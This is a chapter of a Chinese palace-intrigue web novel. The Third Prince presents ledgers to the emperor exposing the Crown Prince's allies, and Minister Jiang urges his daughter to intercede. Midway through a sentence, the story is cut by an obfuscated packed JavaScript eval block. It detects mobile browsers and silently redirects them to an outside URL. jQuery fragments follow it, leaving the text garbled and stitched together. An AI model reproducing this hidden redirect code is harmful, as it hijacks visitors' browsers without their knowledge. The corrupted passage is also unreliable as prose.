随着马蹄声涌来的士兵渐渐逼近，是蓝恩所带领的滞留在宣化镇外的京师士兵。


    殷总兵面色骤变，目光如炬，直指蓝梓炎，“蓝梓炎，你要造反？”


    蓝梓炎举刀相向，反诘道：“是你要造反，屡次谋杀功臣，其罪罄竹难书。”


    话音未落，刀锋一闪，双方瞬间剑拔弩张，乱成一团。蓝恩趁机率众突入重围，救出婉妤等三位女子后，趁乱将她们扶上马背，待众人上马后，蓝梓炎巧妙从殷总兵刀下躲闪而出，最终跃上马背，带领众人往宣化城外而奔。


    他们选择的方向并不是京师，反而是虞台镇。因为前往京师的路定然危机重重，而他身为副将不可以带大军擅自离开北地，虞台镇里有曾经和他一起共患难的北地士兵，因此，他前往虞台镇是最方便的路径。


    虞台镇地形易守难攻，他想，用不了多久，待朝廷圣旨一下，他这边也就可以离开了。


    蓝梓炎带兵几经辗转，往虞台镇方向而去，中途殷总兵带领手下士兵穷追不舍，连日来，双方兵马展开数次交战，蓝梓炎和婉妤使用拖延战术，紧紧拖住殷总兵。


    此时，京中一男子，背负箭伤，仍策马狂奔于街道上，身后追兵紧咬不放。他不顾自身安危，拼了命往前跑，直至三皇子府门前，府前士兵将其围住，后面追兵方才调转马头，悻悻而退。


    那人被扶进三皇子府后，将沾满血迹的账册递交三皇子，三皇子见状，急命人救治，自己则匆匆入宫。


    三皇子进入皇宫后，来到皇上寝殿前，看到侍卫林立宫门两侧，太子殿下站立于高阶之上，睥睨着他，悠悠然道：“三弟，这么晚来此，可有要事？”


    三皇子冷目相对，“臣弟是来给父皇请安的。”


    太子瞥眼身后的宫门，又好似整暇地和三皇子说：“真不巧，父皇病重昏迷，此刻谁也不见。”


    三皇子语气坚定：“儿臣侍疾，天经地义，皇兄没有阻挡之理。”


    太子扯扯嘴角，“想进去？不难。”他对两侧侍卫下令，“搜！”


    “谁敢？”三皇子大喝一声。侍卫们面面相觑，不敢上前，看向太子。


    太子凝声道：“本宫的话，不管用？”


    一个是太子，一个是皇子，侍卫们还是拎得清轻重的。两个侍卫上前，三皇子抬手制止，对太子说：“不劳烦皇兄了，既然父皇有恙，我改日再来便是。”回首间，便被侍卫团团围住。


    三皇子转身，“皇兄这是什么意思？”


    太子抬眼看看星空，语气淡然，“天色不早了，恐路上危险，我派人护送你回去。”


    三皇子反而不动了，盯着太子，“多谢皇兄好意，护送就不必了。”


    “我看，很有必要。”太子言罢，一侍卫上前，做出请的手势，“三皇子，请！”


    三皇子却不慌不忙地前行几步，“父皇尚在病中，太子殿下就对臣弟如此关爱，令臣弟万分惶恐。不如，臣弟就在此恭候父皇醒来。”他是无论如何不能走出皇宫，那样自己更危险。


    太子凝视他，语气中带着几分不屑，“老三，明知不可为而为之，是愚者。”


    三皇子正色道：“臣弟不才，只知尊君、尊父、尊师者教化、尊百姓之意。其上这，没有不可为之事。”


    太子不予理会，挥手示意侍卫：“带三皇子下去歇息。”


    三皇子掷地有声道：“我要在这站等父皇醒来。”


    “拿下！”太子一声令下，侍卫们上前，将三皇子反手擒住。三皇子笑道，“天子面前，擒拿亲弟，太子殿下是要造反吗？”


    太子嗤笑一声：“老三，你未免太过自视甚高。一介庶子，竟敢生出不臣之心，你这叫犯上。带走！”


    正当侍卫欲强行带走三皇子之际，殿门吱呀而开，一太监缓步而出，尖声宣布：“皇上有旨，宣太子殿下、三皇子觐见。”


    太子神色一凛，转首，疑惑地看向太监，太监目不斜视地后退三步，伸手相请：“二位殿下，请！”


    步入大殿，只见龙榻之上，皇上盘膝而坐，神色略显萎靡，目光深邃，宛如寒潭，静静地凝视着面前的两个儿子。他缓缓开口，声音中带着一丝不悦，“在吵什么？”


    太子正欲启齿，三皇子却已抢先一步，躬身行礼，言辞恳切，“回禀父皇，儿臣本欲在殿外静候父皇醒来，皇兄体恤儿臣，特命人引领儿臣前去歇息。”


    皇上闻言，面色依旧如水，淡淡地问道：“太子？”


    太子未料三皇子竟会如此轻易地化解争端，他只得躬身答道：“回父皇，确是如此。既然父皇龙体无恙，儿臣等先告退了。”


    皇上微微颔首，算是应允。然而，三皇子却并未立即离去，而是继续说道：“父皇，儿臣尚有一事禀报。”


    太子侧首，以长兄之姿，语重心长地道：“三弟，父皇刚刚苏醒，若有要事，不妨明日再奏。”


    却听皇上淡淡地道：“无妨，老三，你且说来听听。”


    三皇子从袖中取出一本账册，双手呈上：“父皇，此乃世家这几年向北地捐献的真实名单。”


    太监上前，小心翼翼地将账册接过，呈至皇上面前。皇上随意翻阅几页，眉头微皱：“蓝梓炎先前欲呈上的，便是此物？”


    三皇子恭敬地答道：“正是，不过他那本是伪造的，儿臣已仔细核对过，这本才是真的。”


    皇上又翻了几页，目光中透露出疑惑：“前年北地征战，世家捐银不足三百万两，而这名单上却仅有一百五十万两。记载的捐献银两不多反少，这是何故？”


    三皇子神色凝重，“父皇明鉴，这正是世家与朝臣联手贪墨军饷物资的手段。他们通过虚报捐献数额，以获取更多荣誉与朝廷恩宠，而实际捐银却远少于记录，差额部分则被朝中重臣私吞。长此以往，买官卖官之风盛行，军饷物资层层克扣，到达北地时已是寥寥无几，士兵补给不足，而上层官员却奢华无度。”


    太子闻言，急忙插话道：“父皇，此事事关重大，不能仅凭三弟一面之词。”


    皇上也看向三皇子，问道：“老三，这账册你是如何得到的？”


    “回父皇，蓝梓炎曾随昔日北地孟总兵麾下征战。因朝廷物资连年匮乏，孟总兵心生疑虑，派人查阅北地旧账，发现惊人内幕，遂编造成册，欲战后呈给父皇。然而，战胜归来时，孟总兵却遭陷害，命丧山谷，账册亦随之遗失。此账册，乃蓝梓炎在殷总兵处所得。父皇，殷总兵与京中世家联手贪墨军饷，搜刮民脂民膏，请父皇依法严惩。”说罢，他跪倒在地，恳请皇上圣裁。


    太子见状，亦跪倒在地，言辞恳切，“父皇，殷总兵在北地多年，为国征战，夙兴夜寐，体恤士兵，岂会是贪墨军饷之人？这其中定有误会，请父皇明察秋毫。”


    三皇子冷笑一声，道：“父皇，殷总兵自两年前接任总兵之位后，便将孟总兵麾下的士兵尽数安排至前锋，而自己则开始训练亲兵。亲兵根基不稳，这才导致塔塔尔人猛攻之下，我大魏城池接连失守。若非父皇及时派蓝梓炎带兵支援，北地恐已失守


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123341|163826||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大半。”


    太子怒目而视，斥道：“老三，休要在此危言耸听！战争胜负乃兵家常事，岂能以此便断定殷总兵有罪？”


    “那这本呢？”三皇子却不以为意，又从袖中取出一本账册，太监再次上前呈给皇上。


    他缓缓说道：“父皇，此账本出自孙家。孙、王两家本欲联姻，却因世家相互勾结，逼死孙家女儿。为防止孙家闹上公堂，世家将孙家长子升调至临汾做通判，以息事宁人。然而，孙家长子却是个刚正不阿之人，他踩着妹妹的尸骨坐上官位，深感不安，故而说服其父，将多年来真实行贿账册呈上，以待皇上详查。”


    皇上翻阅账册后，面色铁青，将账册狠狠扔到太子膝下，“你看看，这就是你替朕管理的朝廷！”


    太子颤抖着捡起账册，翻看后大惊失色。这账册上记录的，竟是世家私下向朝臣行贿的罪证，其中不乏他的亲信党羽，包括殷总兵、姜阁老等人。他急忙跪好，颤声道：“父皇，此账册尚需详查，不能仅凭一本账册便定罪。”


    “那你就好好去查，朕倒要看看，你能查出什么结果？太子，不要让朕失望。”


    三皇子听后心中一震，“父皇？”


    皇上挥袖，“退下吧。”


    太子率先行礼退下。而三皇子怔住，迟疑后又有些迷茫和失望，继而缓缓行礼后退下。


    太子回到东宫后，独坐书房，谢绝见客。


    姜阁老屡次求见未果，无奈之下，辗转至女儿姜婉妍的住处求见。姜婉妍逗弄怀中幼女，眸中柔情似水，随后将其交予乳娘，走了出去。


    “妍儿，你一定要想办法见到太子，说服他见我一面，不能让他轻率行事。姜家身为东宫之翼，那是一根绳上拴着的，一损俱损。”姜阁老神色凝重，言辞间透露出一丝忧虑。孙家那本账册上虽然没有他的名字，但是有王家的，还有他门下众官僚的名字，此等干系，他岂能轻易脱身？


    “为今之计，唯有太子向皇上禀明，此账册乃伪造之物，方能保我等周全。”姜阁老眉头紧锁，语带急切。


    姜婉妍嘴角微扬，不动声色道：“太子如何会听我的话，父亲未免太高看女儿了。”


    看着女儿不紧不慢的模样，心急如焚的姜阁老给她出主意，“那你就去求他，跪求，总之，姜家不能出事，你要知道，姜家若出事，你也好不了。”他又感叹，“可惜，你生下的不是皇孙，你要想办法尽快生出一个皇孙才是。”


    “女儿知道了。”姜婉妍淡漠应允。


    “此事你务必上心，妍儿啊，你弟弟尚在襁褓之中，婉妤又难当大任，姜家现下唯有靠你我父女支撑。言尽于此，你快去找太子吧。”姜阁老催促道。


    姜婉妍凝视着面前的父亲，感慨道：“父亲，您好久都没有来东宫探望女儿了。”


    姜阁老心中不禁有些愠怒，他不明白，她怎么在这个时候还有心思问这等没用的问题，真是不知轻重，他随口敷衍道：“你弟弟刚满月，我自当多加照料。对了，除夕前夕，我欲将张姨娘扶正，届时你回府一趟。”


    “好。”


    姜阁老催促她，“别在这儿站着了，夜深了，你快去找太子。”


    “好。”


    得到姜婉妍的回应，姜阁老转身往外走，身影在夜色与雨丝中渐行渐远，袍角被斜风细雨轻轻吹拂，湿了一片。她就这么一直看着，看着这个刚刚喜得贵子的父亲怎么就没有回头看自己一眼。


    婢女手持油纸伞匆匆跑来，姜婉妍说：“咱们去看看太子。”